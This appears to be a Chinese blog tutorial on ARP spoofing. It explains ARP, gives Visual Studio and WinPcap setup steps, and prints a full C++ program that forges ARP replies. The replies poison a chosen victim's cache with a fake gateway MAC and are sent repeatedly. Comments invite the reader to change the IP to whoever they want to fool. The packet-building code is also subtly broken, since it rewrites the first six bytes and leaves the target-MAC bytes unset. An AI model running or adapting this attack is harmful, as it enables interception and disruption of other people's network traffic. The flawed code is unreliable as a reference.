发送ARP数据包

   ARP    地址解析协议,即ARP(Address Resolution Protocol),是根据IP地址获取物理地址的一个TCP/IP协议。主机发 送信息时将包含目标IP地址的ARP请求广播到网络上的所有主机,并接收返回消息,以此确定目标的物理地址;收到返回消息后将该IP地址和物理地址存入本 机ARP缓存中并保留一定时间,下次请求时直接查询ARP缓存以节约资源。地址解析协议是建立在网络中各个主机互相信任的基础上的,网络上的主机可以自主 发送ARP应答消息,其他主机收到应答报文时不会检测该报文的真实性就会将其记入本机ARP缓存;由此***者就可以向某一主机发送伪ARP应答报文,使其 发送的信息无法到达预期的主机或到达错误的主机,这就构成了一个ARP欺骗。ARP命令可用于查询本机ARP缓存中IP地址和MAC地址的对应关系、添加或删除静态对应关系等。相关协议有RARP、代理ARP。NDP用于在IPv6中代替地址解析协议。

  

第一步:运行vs2010,并对项目配置修改。

项目-->**属性(alt+F7)
配置属性-->清单工具-->输入和输出-->嵌入清单-->否


项目-->**属性(alt+F7)
配置属性-->C/C++-->常规-->附加包含目录-->

项目-->**属性(alt+F7)
配置属性-->链接器-->常规-->附加库目录-->

项目-->**属性(alt+F7)
配置属性-->链接器-->输入-->附加依赖项-->补充“;Packet.lib;wpcap.lib;Ws2_32.lib;”

项目-->**属性(alt+F7)
配置属性-->C/C++-->预处理器-->预处理器定义-->补充“;HAVE_REMOTE”

第二部:复制arp代码进行运行

// WinpCap Test.cpp : 定义控制台应用程序的入口点。
//
#include "stdafx.h"
#include

int _tmain(int argc, _TCHAR* argv[])
{
    pcap_if_t * allAdapters;//适配器列表
    pcap_if_t * adapter;
    pcap_t    * adapterHandle;//适配器句柄
    u_char      packet[ 1020 ]; //待发送的数据封包
    char errorBuffer[ PCAP_ERRBUF_SIZE ];//错误信息缓冲区

    if( pcap_findalldevs_ex( PCAP_SRC_IF_STRING, NULL, &allAdapters, errorBuffer ) == -1 )
    {//检索机器连接的所有网络适配器
        fprintf( stderr, "Error in pcap_findalldevs_ex function: %s\n", errorBuffer );
        return -1;
    }

    if( allAdapters == NULL )
    {//不存在任何适配器
        printf( "\nNo adapters found! Make sure WinPcap is installed.\n" );
        return 0;
    }

    int crtAdapter = 0;

    for( adapter = allAdapters; adapter != NULL; adapter = adapter->next)
    {//遍历输入适配器信息(名称和描述信息)
        printf( "\n%d.%s ", ++crtAdapter, adapter->name );
        printf( "-- %s\n", adapter->description );
    }
    printf( "\n" );

    //选择适配器
    int adapterNumber;
    printf( "Enter the adapter number between 1 and %d:", crtAdapter );
    scanf_s( "%d", &adapterNumber );

    if( adapterNumber < 1 || adapterNumber > crtAdapter )
    {
        printf( "\nAdapter number out of range.\n" );        
        pcap_freealldevs( allAdapters );// 释放适配器列表
        return -1;
    }

    adapter = allAdapters;
    for( crtAdapter = 0; crtAdapter < adapterNumber - 1; crtAdapter++ )
        adapter = adapter->next;

    // 打开指定适配器
    adapterHandle = pcap_open( adapter->name, // name of the adapter
                               65536,         // portion of the packet to capture
                                              // 65536 guarantees that the whole
                          // packet will be captured
                               PCAP_OPENFLAG_PROMISCUOUS, // promiscuous mode
                               1000,             // read timeout - 1 millisecond
                               NULL,          // authentication on the remote machine
                               errorBuffer    // error buffer
                              );
    if( adapterHandle == NULL )
    {//指定适配器打开失败
        fprintf( stderr, "\nUnable to open the adapter\n", adapter->name );
        // 释放适配器列表
        pcap_freealldevs( allAdapters );
        return -1;
    }

    pcap_freealldevs( allAdapters );//释放适配器列表  c8-9c-dc-22-61-fa

    //创建数据封包
    packet[0] = 0xc8;    packet[1] = 0x9c;    packet[2] = 0xdc;    packet[3] = 0x22;    packet[4] = 0x61;    packet[5] = 0xfa;   // 被骗计算机的mac地址
    packet[6] = 0xc8;   packet[7]  = 0x9c;   packet[8]  = 0xdc;   packet[9]  = 0x22;   packet[10] = 0x6c;   packet[11] = 0x14;   // 自己的mac地址C8-9C-DC-22-6C-14
    packet[12] = 0x08;   packet[13] = 0x06;  // 以太网封装arp协议(不用动)
    packet[14] = 0x00;   packet[15] = 0x01;  // arp第1字段:代表以太网
    packet[16] = 0x08;   packet[17] = 0x00;  // arp第2字段:代表IP协议
    packet[18] = 0x06;  // arp第3字段:代表第二层地址的长度
    packet[19] = 0x04;  // arp第4字段:代表第三层地址的长度
    packet[20] = 0x00;   packet[21] = 0x02;   // arp第5字段:这是一个arp应答报文; 下面的是arp的第6,7,8,9字段
    packet[22] = 0xc8;   packet[23]  = 0x9c;   packet[24]  = 0xdc;   packet[25]  = 0x22;   packet[26] = 0x62;   packet[27] = 0x09; // 假的网关地址,
    packet[28] = 0xac;   packet[29] = 0x1c;        packet[30] = 0x0f;   packet[31] = 0xfe;    // 网关的ip,这里是172.28.15.254(在本实验室不用改)
     packet[0] = 0xc8;    packet[1] = 0x9c;    packet[2] = 0xdc;    packet[3] = 0x22;    packet[4] = 0x61;    packet[5] = 0xfa;  // 被骗计算机的mac地址
    packet[38] = 0xac;   packet[39] = 0x1c;        packet[40] = 0x0f;   packet[41] = 0x37;   // 被骗计算机的IP地址,这里是172.28.15.55  (想骗谁,这里就改成谁的IP)

   
    //发送数据封包
    for(int ssde=0;ssde<100;ssde++)
    {
        pcap_sendpacket( adapterHandle, packet, 42);
        Sleep(1000);
    }

    system( "PAUSE" );
    return 0;
}

发送ARP数据包_第1张图片

第三部:查看被骗电脑验证。